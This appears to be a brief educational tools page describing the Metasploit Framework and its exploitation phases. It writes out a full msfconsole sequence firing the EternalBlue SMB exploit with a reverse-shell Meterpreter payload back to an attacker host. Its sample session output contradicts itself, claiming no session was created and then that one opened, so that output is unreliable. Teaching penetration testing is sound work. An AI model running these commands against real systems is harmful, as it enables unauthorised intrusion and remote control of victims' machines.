METASPLOIT FRAMEWORK

Exploitation & Post-Exploitation Engine

What is Metasploit?

Metasploit is a powerful penetration testing framework used to develop, test, and execute exploits against vulnerable systems. It provides payloads, encoders, listeners, and post-exploitation modules.

Typical Exploitation Workflow

msfconsole use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.5 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.10 exploit

Successful Session

[*] Exploit completed, but no session was created. [*] Meterpreter session 1 opened (192.168.1.10 → 192.168.1.5) meterpreter > sysinfo Computer : VICTIM-PC OS : Windows 10 Architecture : x64

Attack Phase Mapping

[ Exploitation ] → Launch vulnerability-specific modules [ Payload Delivery ] → Reverse shells, Meterpreter [ Post-Exploitation ] → Privilege escalation, persistence
← Back to Tools Home